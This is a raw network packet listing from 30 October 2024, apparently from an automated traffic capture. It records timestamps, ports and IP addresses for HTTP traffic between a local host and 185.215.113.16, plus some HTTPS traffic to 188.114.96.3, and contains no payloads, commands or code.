Oct 30, 2024 21:56:28.554608107 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.561180115 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.561193943 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.561250925 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.715791941 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.715810061 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.715820074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.715830088 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.715863943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.715905905 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.716233969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.716245890 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.716255903 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.716268063 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.716284037 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.716319084 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.717025995 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.717077017 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.717081070 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.717092991 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.717114925 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.717133999 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.717137098 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.717319965 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840337038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840353012 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840363026 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840372086 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840389013 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840421915 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840437889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840540886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840579987 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840778112 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840789080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840797901 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840807915 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.840826988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.840854883 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.841598988 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.841639996 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.841924906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.841980934 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.876631975 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.876643896 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.876653910 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.876662970 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.876738071 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.876738071 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.964730024 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.964751959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.964762926 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.964775085 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.964798927 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.964818954 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.965061903 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.965074062 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.965086937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.965110064 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.965121984 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.965137959 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.965164900 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.965989113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.966041088 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:28.966074944 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:28.966120005 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.000886917 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.000901937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.000912905 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.000945091 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.000972033 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.000977039 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.001070976 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.001264095 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.001307964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.089107037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089118958 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089128017 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089199066 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.089219093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.089328051 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089339018 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089349985 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089365959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.089373112 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.089396954 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.089416027 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.090194941 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.090245008 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.125212908 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125224113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125278950 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.125289917 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125299931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125309944 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125332117 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.125356913 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.125360966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.125405073 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.126213074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.126223087 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.126233101 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.126241922 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.126266003 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.126280069 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.179984093 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.180063963 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.181329012 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.181349039 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.181587934 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.182725906 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.183403015 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.183444977 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.183561087 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.183605909 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.183754921 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.183810949 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.183990955 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.184041977 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.185858011 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.185909033 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.186127901 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.186196089 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.186224937 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.186239004 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.186353922 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.186403036 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.186443090 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.186542034 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.186593056 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.195785999 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.196047068 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.196105003 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.196158886 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.196190119 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.196305990 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.201448917 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.213418961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213438034 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213505030 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.213650942 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213700056 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.213716030 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213732004 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213745117 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.213757038 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.213774920 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.213785887 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.214344025 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.214375973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.214401960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.214426041 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.249701977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249717951 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249738932 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249749899 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249762058 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249768972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.249778032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.249816895 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.250003099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.250536919 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.250551939 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.250564098 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.250601053 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.250601053 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.250627995 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.250654936 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.337836027 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.337856054 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.337868929 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.337881088 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.337956905 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.337999105 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.338186979 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.338198900 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.338212013 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.338223934 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.338315964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.374116898 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374131918 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374142885 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374155998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374166965 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374177933 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374191046 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.374295950 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.374325037 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.374953985 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.375003099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.417700052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.418082952 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.420222998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.420234919 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.420263052 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.420283079 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.462038040 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.462063074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.462073088 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.462156057 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.467794895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.467813015 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.467824936 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.467837095 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.467849016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.467876911 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.467896938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.498096943 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.498111010 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.498122931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.498219013 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.498318911 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.498363018 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.503901005 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.503911972 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.503978014 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.504204035 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.504216909 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.504226923 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.504256964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.504271984 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.512497902 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.512569904 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.512665987 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.542231083 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.542243958 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.542253971 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.542326927 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.547218084 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:29.547257900 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:29.586448908 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586464882 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586487055 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586502075 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586513996 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586522102 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.586529016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.586575985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.587232113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.587244034 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.587255955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.587282896 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.587295055 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.622473001 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622492075 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622503042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622514009 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622559071 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.622601986 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.622786045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622797966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622807980 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.622834921 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.622848988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.623281956 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.623294115 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.623306036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.623332977 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.623357058 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.666603088 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.666615009 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.666624069 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.666657925 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.666673899 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.710800886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.710860968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.710861921 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.710874081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.710885048 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.710902929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.710917950 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.711183071 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.711230993 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.711342096 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.711368084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.711379051 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.711388111 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.711400032 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.711421967 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.711447001 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.711489916 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.712192059 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.712203026 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.712258101 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.746972084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.746984005 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.746993065 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747004032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747026920 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.747072935 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.747265100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747275114 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747364044 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.747591019 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747601986 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747612953 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.747644901 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.747664928 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.791065931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.791079998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.791090012 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.791130066 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.791151047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.835241079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835262060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835275888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835294008 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835380077 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.835380077 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.835637093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835681915 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.835840940 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835851908 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835864067 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835874081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.835890055 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.835952044 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.871155977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871169090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871186972 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871236086 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871238947 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.871252060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871267080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.871279001 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.871299028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.871319056 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.872073889 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.872126102 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.872198105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.872239113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.872251987 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.872256041 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.872278929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.872307062 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.915554047 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.915570974 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.915582895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:29.915608883 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:29.915632963 CET	50241	80	192.168.2.5	185.215.113.16
